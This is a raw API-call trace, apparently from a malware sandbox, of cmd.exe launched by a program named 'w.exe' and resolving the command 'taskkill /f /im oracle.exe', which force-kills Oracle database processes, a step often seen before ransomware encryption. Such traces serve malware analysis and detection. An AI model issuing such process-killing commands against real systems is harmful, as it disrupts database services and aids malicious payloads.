	[0035.278] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0035.279] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0035.279] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0035.279] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0035.279] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0035.279] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0035.279] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0035.279] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0035.279] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0035.279] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0035.279] GetProcessHeap () returned 0x670000
	[0035.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x682ae0 | out: hHeap=0x670000) returned 1
	[0035.279] GetEnvironmentStringsW () returned 0x682220*
	[0035.279] GetProcessHeap () returned 0x670000
	[0035.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xae2) returned 0x684b80
	[0035.279] FreeEnvironmentStringsW (penv=0x682220) returned 1
	[0035.279] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a3f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0035.279] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a3f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0035.279] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0035.279] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0035.279] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0035.279] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0035.279] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0035.279] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0035.279] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0035.279] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0035.279] GetProcessHeap () returned 0x670000
	[0035.279] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x54) returned 0x685670
	[0035.279] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x34f760 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0035.280] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x34f760, lpFilePart=0x34f75c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x34f75c*="Desktop") returned 0x25
	[0035.280] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0035.280] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x34f4dc | out: lpFindFileData=0x34f4dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x681e88
	[0035.280] FindClose (in: hFindFile=0x681e88 | out: hFindFile=0x681e88) returned 1
	[0035.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x34f4dc | out: lpFindFileData=0x34f4dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x681e88
	[0035.280] FindClose (in: hFindFile=0x681e88 | out: hFindFile=0x681e88) returned 1
	[0035.280] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0035.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x34f4dc | out: lpFindFileData=0x34f4dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x681e88
	[0035.280] FindClose (in: hFindFile=0x681e88 | out: hFindFile=0x681e88) returned 1
	[0035.280] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0035.280] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0035.280] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0035.281] GetProcessHeap () returned 0x670000
	[0035.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x684b80 | out: hHeap=0x670000) returned 1
	[0035.281] GetEnvironmentStringsW () returned 0x684090*
	[0035.281] GetProcessHeap () returned 0x670000
	[0035.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb36) returned 0x685ed0
	[0035.281] FreeEnvironmentStringsW (penv=0x684090) returned 1
	[0035.281] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0035.281] GetProcessHeap () returned 0x670000
	[0035.281] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x685670 | out: hHeap=0x670000) returned 1
	[0035.281] GetProcessHeap () returned 0x670000
	[0035.281] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400e) returned 0x686a10
	[0035.282] GetProcessHeap () returned 0x670000
	[0035.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x48) returned 0x681e88
	[0035.282] GetProcessHeap () returned 0x670000
	[0035.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4008) returned 0x68aa28
	[0035.282] GetProcessHeap () returned 0x670000
	[0035.282] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4008) returned 0x68ea38
	[0035.284] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0035.284] GetProcessHeap () returned 0x670000
	[0035.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x418) returned 0x682d60
	[0035.284] SetErrorMode (uMode=0x0) returned 0x8003
	[0035.284] SetErrorMode (uMode=0x1) returned 0x0
	[0035.284] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x682d68, lpFilePart=0x34f6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x34f6d8*="f") returned 0x31
	[0035.284] SetErrorMode (uMode=0x8003) returned 0x1
	[0035.284] GetProcessHeap () returned 0x670000
	[0035.284] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x682d60, Size=0x8a) returned 0x682d60
	[0035.284] GetProcessHeap () returned 0x670000
	[0035.284] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x682d60) returned 0x8a
	[0035.284] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0035.285] GetProcessHeap () returned 0x670000
	[0035.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x72) returned 0x692a60
	[0035.285] GetProcessHeap () returned 0x670000
	[0035.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x682df8
	[0035.285] GetProcessHeap () returned 0x670000
	[0035.285] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x682df8, Size=0x72) returned 0x682df8
	[0035.285] GetProcessHeap () returned 0x670000
	[0035.285] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x682df8) returned 0x72
	[0035.285] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.285] GetProcessHeap () returned 0x670000
	[0035.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe0) returned 0x682e78
	[0035.288] GetProcessHeap () returned 0x670000
	[0035.289] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x682e78, Size=0x76) returned 0x682e78
	[0035.289] GetProcessHeap () returned 0x670000
	[0035.289] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x682e78) returned 0x76
	[0035.289] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0035.289] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im oracle.exe ", fInfoLevelId=0x1, lpFindFileData=0x34f474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34f474) returned 0xffffffff
	[0035.289] GetLastError () returned 0x3
	[0035.289] GetProcessHeap () returned 0x670000
	[0035.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68aa28 | out: hHeap=0x670000) returned 1
	[0035.289] GetProcessHeap () returned 0x670000
	[0035.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68ea38 | out: hHeap=0x670000) returned 1
	[0035.289] GetProcessHeap () returned 0x670000
	[0035.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686a10 | out: hHeap=0x670000) returned 1
	[0035.289] GetConsoleOutputCP () returned 0x1b5
	[0035.289] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3e4260 | out: lpCPInfo=0x4a3e4260) returned 1
	[0035.289] GetUserDefaultLCID () returned 0x409
	[0035.290] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a3e4950, cchData=8 | out: lpLCData=":") returned 2
	[0035.290] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x34f8a0, cchData=128 | out: lpLCData="0") returned 2
	[0035.290] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x34f8a0, cchData=128 | out: lpLCData="0") returned 2
	[0035.290] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x34f8a0, cchData=128 | out: lpLCData="1") returned 2
	[0035.290] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a3e4940, cchData=8 | out: lpLCData="/") returned 2
	[0035.290] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a3e4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0035.291] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a3e4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0035.291] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a3e4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0035.291] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a3e4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0035.291] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a3e4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0035.291] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a3e4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0035.291] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a3e4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0035.291] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a3e4930, cchData=8 | out: lpLCData=".") returned 2
	[0035.291] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a3e4920, cchData=8 | out: lpLCData=",") returned 2
	[0035.291] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0035.292] GetProcessHeap () returned 0x670000
	[0035.292] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20c) returned 0x682f30
	[0035.292] GetConsoleTitleW (in: lpConsoleTitle=0x682f30, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0035.292] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0035.292] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0035.292] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0035.293] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0035.293] GetProcessHeap () returned 0x670000
	[0035.293] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400a) returned 0x686a10
	[0035.293] GetProcessHeap () returned 0x670000
	[0035.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686a10 | out: hHeap=0x670000) returned 1
	[0035.293] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0035.293] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0035.294] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0035.294] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0035.294] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0035.294] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0035.294] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0035.294] GetProcessHeap () returned 0x670000
	[0035.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x58) returned 0x683148
	[0035.294] GetProcessHeap () returned 0x670000
	[0035.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1a) returned 0x685710
	[0035.294] GetProcessHeap () returned 0x670000
	[0035.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x30) returned 0x6831a8
	[0035.295] GetConsoleTitleW (in: lpConsoleTitle=0x34f598, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0035.295] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0035.295] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0035.295] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0035.295] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0035.295] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0035.295] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0035.295] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0035.295] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0035.296] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0035.296] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0035.296] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0035.296] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0035.296] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0035.296] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0035.296] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0035.296] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0035.296] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0035.296] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0035.296] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0035.296] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0035.296] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0035.296] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0035.296] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0035.296] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0035.296] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0035.296] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0035.296] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0035.296] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0035.296] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0035.296] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0035.296] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0035.296] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0035.296] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0035.296] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0035.296] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0035.296] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0035.296] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0035.296] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0035.296] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0035.296] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0035.296] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0035.296] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0035.297] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0035.297] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0035.297] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0035.297] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0035.297] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0035.297] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0035.297] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0035.297] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0035.297] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0035.297] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0035.297] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0035.297] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0035.297] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0035.297] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0035.297] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0035.297] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0035.297] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0035.297] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0035.297] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0035.297] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0035.297] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0035.297] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0035.297] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0035.297] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0035.297] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0035.297] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0035.297] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0035.297] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0035.297] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0035.297] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0035.297] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0035.297] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0035.297] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0035.297] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0035.297] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0035.297] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0035.297] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0035.298] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0035.298] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0035.298] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0035.298] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0035.298] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0035.298] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0035.298] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0035.298] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0035.298] GetProcessHeap () returned 0x670000
	[0035.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x210) returned 0x6831e0
	[0035.298] GetProcessHeap () returned 0x670000
	[0035.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x42) returned 0x6833f8
	[0035.298] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0035.298] GetProcessHeap () returned 0x670000
	[0035.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x418) returned 0x6707f0
	[0035.298] SetErrorMode (uMode=0x0) returned 0x8003
	[0035.299] SetErrorMode (uMode=0x1) returned 0x0
	[0035.299] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6707f8, lpFilePart=0x34f0b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x34f0b8*="Desktop") returned 0x25
	[0035.299] SetErrorMode (uMode=0x8003) returned 0x1
	[0035.299] GetProcessHeap () returned 0x670000
	[0035.299] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6707f0, Size=0x66) returned 0x6707f0
	[0035.299] GetProcessHeap () returned 0x670000
	[0035.299] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x6707f0) returned 0x66
	[0035.299] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0035.299] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0035.299] GetProcessHeap () returned 0x670000
	[0035.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x120) returned 0x683448
	[0035.299] GetProcessHeap () returned 0x670000
	[0035.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x238) returned 0x670860
	[0035.301] GetProcessHeap () returned 0x670000
	[0035.301] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x670860, Size=0x122) returned 0x670860
	[0035.301] GetProcessHeap () returned 0x670000
	[0035.301] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x670860) returned 0x122
	[0035.301] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.301] GetProcessHeap () returned 0x670000
	[0035.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe0) returned 0x670990
	[0035.301] GetProcessHeap () returned 0x670000
	[0035.301] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x670990, Size=0x76) returned 0x670990
	[0035.301] GetProcessHeap () returned 0x670000
	[0035.301] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x670990) returned 0x76
	[0035.301] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0035.301] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x34ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34ee34) returned 0xffffffff
	[0035.301] GetLastError () returned 0x2
	[0035.301] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x34ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34ee34) returned 0xffffffff
	[0035.302] GetLastError () returned 0x2
	[0035.302] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0035.302] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x34ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34ee34) returned 0x683570
	[0035.302] GetProcessHeap () returned 0x670000
	[0035.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x670a10
	[0035.302] FindClose (in: hFindFile=0x683570 | out: hFindFile=0x683570) returned 1
	[0035.302] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x34ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34ee34) returned 0xffffffff
	[0035.302] GetLastError () returned 0x2
	[0035.302] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x34ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34ee34) returned 0x683570
	[0035.303] GetProcessHeap () returned 0x670000
	[0035.303] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x670a10, Size=0x4) returned 0x670a10
	[0035.303] FindClose (in: hFindFile=0x683570 | out: hFindFile=0x683570) returned 1
	[0035.303] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0035.303] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0035.303] GetConsoleTitleW (in: lpConsoleTitle=0x34f32c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0035.303] InitializeProcThreadAttributeList (in: lpAttributeList=0x34f1b4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x34f27c | out: lpAttributeList=0x34f1b4, lpSize=0x34f27c) returned 1
	[0035.303] UpdateProcThreadAttribute (in: lpAttributeList=0x34f1b4, dwFlags=0x0, Attribute=0x60001, lpValue=0x34f274, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x34f1b4, lpPreviousValue=0x0) returned 1
	[0035.303] GetStartupInfoW (in: lpStartupInfo=0x34f170 | out: lpStartupInfo=0x34f170*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4)) 
	[0035.303] GetProcessHeap () returned 0x670000
	[0035.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x18) returned 0x683570
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0035.303] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
